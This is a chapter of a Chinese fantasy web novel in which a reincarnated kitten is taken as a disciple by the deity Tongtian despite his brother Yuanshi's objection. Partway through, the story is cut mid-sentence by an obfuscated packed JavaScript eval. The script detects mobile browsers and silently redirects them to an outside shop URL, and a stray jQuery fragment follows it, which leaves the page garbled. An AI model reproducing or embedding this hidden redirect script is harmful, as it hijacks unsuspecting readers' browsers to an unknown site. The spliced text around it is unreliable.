昆仑山麓,一只雪白的小猫跌跌撞撞地奔逃。
她高高翘着尾巴,四只短腿却各走各的,跑起来左摇右晃,笨拙得可爱。终于,前爪踩上一块松动的卵石,整只猫猛地滚成一团白球,骨碌碌地停在一双靴前。
泠漪还没从头晕目眩中缓过来。
她原本不是猫的。就在不久前,或者说,许多年后。她还趴在工位上,对着满屏代码嘟囔“做猫多好,吃了睡睡了吃”。如今老天爷倒是慷慨,直接把她塞进了一副猫躯壳里。
她摇摇晃晃地支起四条腿,正试着往前走,忽然觉得哪里不对,头顶多了一道阴影。
来人月白长袍垂落地面,袖口以银线暗绣云纹,只一根青玉簪随意束着半截墨发,余下的散在肩头,衬得那面容愈发清隽舒展。他肩宽背直,蹲下来时衣袍也不曾沾尘,周身笼着一层极淡的清气。
泠漪心里咯噔一下。
那双眼含着笑,微微弯起,瞳仁里清清楚楚写着三个字——想拐猫。
她尾巴倏地炸开,后腿猛然发力,连滚带爬地弹出去三尺远,回头就是一甩尾。寒气凝成薄刃,嗖地削向那人面门。
通天只抬了抬袖,那冰刃便化作了水汽,散在日光里散得干干净净。他眉梢微挑,眼中笑意却更深。
他清清嗓子,难得生出几分局促。大哥二哥向来不许他带毛茸茸的生灵回来,尤其是二兄元始。可这回不同,他冥冥中有感,昆仑山脚将现与他有缘的生灵,他这才避开两位兄长,独自出来。
眼前的雪团子越看越合心意,这等根脚,就算二哥来了也说不出什么吧?
他越想越笃定,眸色愈亮,唇角不自觉扬起,正要开口,面前的猫已经不见了踪影。
泠漪四爪翻飞,蹿得比兔子还快。虽然还不会好好走路,但她已经学会了拼命跑路。
通天立在原地,笑意微僵。
泠漪埋头狂奔,跑出老远才敢回头。山脚空空荡荡,那人没追上来。
她松了口气,耳朵往后一压,正要把脑袋转回去,眼前突然多了一双靴。
她猛地闭眼,身子僵住。
待她缓缓掀开眼皮,那双含笑的眼睛正近在咫尺地俯视着她,瞳仁里映出她炸成蒲公英的一团白毛。
“吾乃上清通天。”他直起身,“你与我有缘,可愿拜我为师?”
话音落,他周身的清气便不再遮掩。如渊如岳的气息无声漫开,衣袍无风自动,袖口云纹像是活了过来,流转间隐隐有雷音轻鸣。
泠漪炸着毛,后退两步。
通天。这名字有点耳熟。但她没细想。做人的时候见过太多笑里藏刀的嘴脸,到了这里又亲眼看过好几回坑蒙拐骗、弱肉强食。
不管人是兽是妖,出门在外,警惕是第一要务。
“喵喵喵!”走开!
那几声软绵绵的抗议落在通天耳里,像小爪子挠在心尖上。他嘴角压不住地往上翘,想板一板脸做个端方的样子,可眉梢眼角全是藏不住的笑意,俊朗的面容因着这份欢喜愈发生动。
他伸手,将那一团雪白抄了起来,托在臂弯里。
“既然你同意了,便随我回去吧。”
泠漪:?
她四爪齐飞,对着通天的袖口就是一通乱挠,冰霜伴着她的动作四飞。
猫猫无影爪,招式看着凶猛,落在那月白衣袍上连道印子都没留下。通天低头瞧着她张牙舞爪的模样,非但不躲,反而微微眯起眼,整个人透出一种飘飘然的餍足。
但他还记得这是徒弟,不是街边随便撸两把的幼崽。他指尖掐了个诀,脚下清气一卷,山石草木瞬间模糊成一片残影。
泠漪只觉得身子一轻,已然来到昆仑山上。
她挣扎的动作停下。
通天拂去衣角的冰霜,眉间带着几分藏不住的得意。“此术非寻常可比,乃我兄弟三人……”
泠漪没在听。
她耳朵竖着,脑子里只有两个字来回撞——三清。
洪荒。这里是洪荒。
她的心跳猛地快起来,在这里能见到女娲!
女娲!
泠漪的眼睛倏地亮起来,尾巴缓缓翘高,毛茸茸的尖儿轻轻晃了晃。
通天讲得正酣,低头瞥见怀里这团雪白仰着脸,眼神亮晶晶,尾巴也翘得高高的,他心里顿时畅快极了。
看吧,没有人能在听完他的事迹后无动于衷。
他越发来了兴致,从遁术讲到洪荒的渊源,又讲到他的种种见闻,说着说着,自己也被说得心潮澎湃起来。原来他这些年做过这么多事,原来他这么厉害的吗?
泠漪窝在他臂弯里,尾巴尖一勾一勾的。
通天垂眼瞧着那团蓬松的白尾,指尖微动。
他默默伸手,指腹轻轻贴上尾尖,细密的绒毛从指缝间溢出来,梢头带着一点温热的痒。
泠漪满脑子都是女娲,通天讲的故事有一搭没一搭地溜过去,尾巴上的碰触她压根没放在心上。
通天见她不躲,便从尾尖摸到尾根,顺滑的皮毛在掌心里一溜而过,舒服得他几不可闻地喟叹一声。
又一次下手时,一只肉垫不轻不重地拍在他手背上。
他低头,正对上泠漪圆瞪的蓝眼睛。她两爪齐挥,在空中划出一道道残影,招式看着唬人,四只指甲却严严实实收在肉垫里,连他袖口的银线都没勾住一根。
通天顺势一握,将那两只毛茸茸的前爪拢进掌心。圆圆的爪垫抵着他的指节,又软又弹,他下意识轻轻一捏。
泠漪四指一张,亮出弯钩似的指甲。
通天:“喔。”
他松开手,神色倒是坦然,"徒弟啊,你这攻击太绵软了些,往后若遇上旁敌……"
“喵喵喵!”旁人也不像你这样!泠漪梗着脖子不服。
通天:“为师是担心你——”
泠漪:“喵!”
通天:“你这——”
泠漪:“喵喵!”
两人同时停了嘴。泠漪仰头,通天低头,四目相对,各自从对方眼底读出一模一样的困惑。
泠漪脑子里打了个转。洪荒没有统一语言?可这样的大能,怎会听不懂妖族的……嘶,等等,她现在算妖吗?
通天也在犯嘀咕。他这徒弟根脚不差,已开灵智,怎么不通语言,只会喵喵叫?传承记忆不都有?总不能是——
“徒弟,你……”
“喵喵喵……”
一人一猫再次对视,通天眼神都变了。
不会是……文盲吧?
通天轻咳一声,脸上端出几分师长的从容,“无妨,为师可以教你……”
“通天。”
一道清冷的声音从前方传来,通天浑身一僵,半晌才缓缓抬头。
通天转过身,喉头微不可察地滚了一下。
山道上那人一身素白道袍,领口严整地交叠至喉,袖边以冰蓝丝线勾勒出极简的云水纹,再无半点缀饰。墨发一丝不苟地束在青玉冠中,面容清隽冷峻,眉宇间凝着化不开的霜意,目光不偏不倚地落在他身上。
通天下意识挺直脊背,臂弯里那团温暖的白毛让他稳了稳心神。不能怂。徒弟还看着呢。他清了清嗓子,将嗓音压得尽量从容:“二哥怎的提前出关了?”
元始目光从通天脸上移到泠漪身上,眉头缓缓拧成一个结。
泠漪正扒着通天的手臂,四只爪子勾住衣料,使劲往上探着脑袋。她后腿蹬了蹬,终于翻过身来,一双蓝眼睛好奇地望向那位传说中的元始天尊。
“哼。”元始收回目光,落回通天脸上,“你怀里是什么?龙凤麒麟三族相争正烈,量劫将至,我不是叮嘱过你莫要下山?”
通天梗了梗:“我昨夜打坐,冥冥中感应山脚有生灵与我有师徒之缘。既是有缘,岂能坐视不理?”
“师徒之缘?"元始冷眼扫过那团雪白,唇角微压,"她连化形都不曾,如何做你徒弟?若你领她入门,她便成了首徒,此事岂可儿戏?”
通天把泠漪往怀里拢了拢:“二哥此言差矣。你未见她,便先定了她的不是,这是否有失公允?”
泠漪仰着脑袋,看着通天梗着脖子跟兄长争辩。
元始面色愈冷:“你这般任性妄为,可还记得你我兄弟三人当初为何定下规矩?当年盘古开天......”
通天打断他,"当年大哥还说......”
“你莫要拿大哥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909442|213076||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来压我。”
“我几时拿大哥压你了?二哥今日句句咄咄逼人......”
两人站在山道上,从盘古开天辟地一路吵到三天前通天偷喝了他一坛玉露,衣袍被各自气势震得猎猎翻飞。
泠漪缩在通天怀里,尾巴夹进自己肚皮底下,两只耳朵向后压平。
正吵到激烈处,通天忽地低了低头,一只手从袖中抽出来,轻轻覆在她脑后。温热的掌心拢住她两侧耳根,指尖微微收拢,将那些拔高的争执声隔了一层。
泠漪歪着脑袋,不解地仰起脸。
“喵?”
她其实听得正来劲。两位大佬当面扯旧账,这等秘闻旁人听一句都难,她已经在心里默默编排好了一本书——《三清那些不得不说的往事》。肯定能赚钱。
通天低头,指腹顺着她脊背捋了两下,声音压得温缓:“莫怕。你合该是为师的徒弟,谁来都不顶用。”
元始冷冷吐出两个字:“通天。”
通天直起身,嗓音陡然拔高:
“我上清通天今日立下天道誓约——此子根骨清明,心性纯善,我愿收她为亲传弟子,倾囊相授毕生道法,护她周全,导她向正,无论前程何如,绝不弃之。如违此誓,道心蒙尘,修为尽毁。”
泠漪呆了。她方才还在盘算怎么独自求生,通天说收她为徒她虽点了头,心底却只当是搭了条暂时的船。
可现在,天道誓言。
泠漪在现世听过太多甜言蜜语,见过太多人前一套背后一套,她早就学会凡事只信三分。但此刻,通天立在昆仑山道上,肩背挺直,对着苍天把话说得清清楚楚,天道降下一道极淡的金光,无声无息地落在她额前。
师徒名分,天道已认。
泠漪正了正神色,四只爪子并拢,端端正正地坐直。
“喵。”
通天低头看着她那张圆脸绷得严肃,眼睛里却亮得藏不住,嘴角弯起。
元始面沉如水,冷冷盯着通天看了三息。终究没再说一个字,拂袖离去。
泠漪目送着那道清冷的身影消失,耳朵轻轻抖了抖。
通天还在看她,那双眼里的笑意终于压不住了,温和地溢出来。他张了张嘴,忽然想起一件要紧事,他还不知道他徒弟叫什么名字。
“徒弟,”他清了清嗓子,“为师还不知道你叫什么。”
泠漪一愣,尾巴尖顿住。现代的名字到了洪荒还能用么?她踌躇片刻,想起通天听不懂她的话,指了指旁边溪流面。
通天俯身凑近溪面,眉头微挑。
水波漾开,一圈一圈荡向岸边,泠泠碎光浮在青石旁。他直起身,眉间漾着几分意外又了然的神色:“泠者,清也;漪者,波也。水漾微澜而不惊,暗合道韵......不错不错。”
泠漪蹲在溪边石上,听得一愣一愣,她这名字竟然还有这说法。
通天弯腰抄起她,往臂弯里稳稳一兜,衣袍银纹在她眼前一晃,人已踏入了昆仑深处,回了他的住处。
通天把泠漪往榻上一放,自己盘膝坐在对面,神色正了正。
“泠漪,待我为你讲道一番,你定能化形。到那时,直接惊艳你二师伯!”他眼中光芒烁烁,说这话时下颌微微扬起,仿佛已经看到了元始那张冷脸上出现裂痕的画面。
泠漪端坐在绒垫上,歪着脑袋,将信将疑地眨了眨眼睛。
惊艳元始?她心里没底。后世那些杂谈话本里,元始天尊是出了名的重跟脚轻旁门,最不喜湿生卵化之辈。她此时连化形都不曾,更不入他眼。
可元始到底是不是传闻里那样,她也不知道。
泠漪抬头看了看通天满脸期待的神情,把那些疑虑往肚里压了压,尾巴尖轻轻扫过绒垫,端正坐好。
“喵。”
通天盘膝而坐,开口讲道。
他讲得兴起,指尖在空中随意勾画,清光流溢成一个个古篆。
泠漪端坐在对面,竖着耳朵听了一盏茶的工夫,也浪费了一盏茶的功夫。
她忍了又忍,终于绷不住了。后腿一蹬站起来,前爪扶着通天的小臂,另一只爪子啪地按在他唇上。
“喵喵喵!”她一脸严肃,用力摇头。